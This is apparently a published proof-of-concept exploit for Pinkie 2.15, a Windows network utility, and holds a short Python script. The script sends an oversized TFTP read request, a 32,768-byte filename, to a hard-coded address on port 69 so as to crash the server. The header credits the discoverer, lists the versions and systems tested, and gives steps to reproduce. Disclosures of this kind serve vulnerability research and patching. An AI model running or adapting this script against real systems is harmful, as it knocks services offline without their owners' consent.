# Exploit Title: Pinkie 2.15 - TFTP Remote Buffer Overflow (PoC)
# Discovered by: Yehia Elghaly
# Discovered Date: 2021-11-19
# Vendor Homepage: http://www.ipuptime.net/
# Software Link : http://ipuptime.net/PinkieSetup.zip
# Tested Version: 2.15
# Vulnerability Type: Buffer Overflow (DoS) Remote
# Tested on OS: Windows XP SP3 - Windows 7 Professional x86 SP1 - Windows 10 x64
# Description: Pinkie 2.15 TFTP Remote Buffer Overflow
# Steps to reproduce:
# 1. - Download and install Pinkie 2.15
# 2. - Start TFTP Server listening on port 69
# 3. - Run the Script from remote PC/IP
# 4. - Crashed
#!/usr/bin/env python3
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
read = (
#Request - read
b'\x00\x01' #Static - opcode
+ b')' * 32768 + #String - source_file (mutant, size=32768, orig val: b'File.bin')
b'\x00' #Delim - delim1
b'netascii' #String - transfer_mode
b'\x00' #Delim - delim2
)
sock.sendto(read, ('192.168.1.207', 69))
sock.recv(65535)
sock.close()
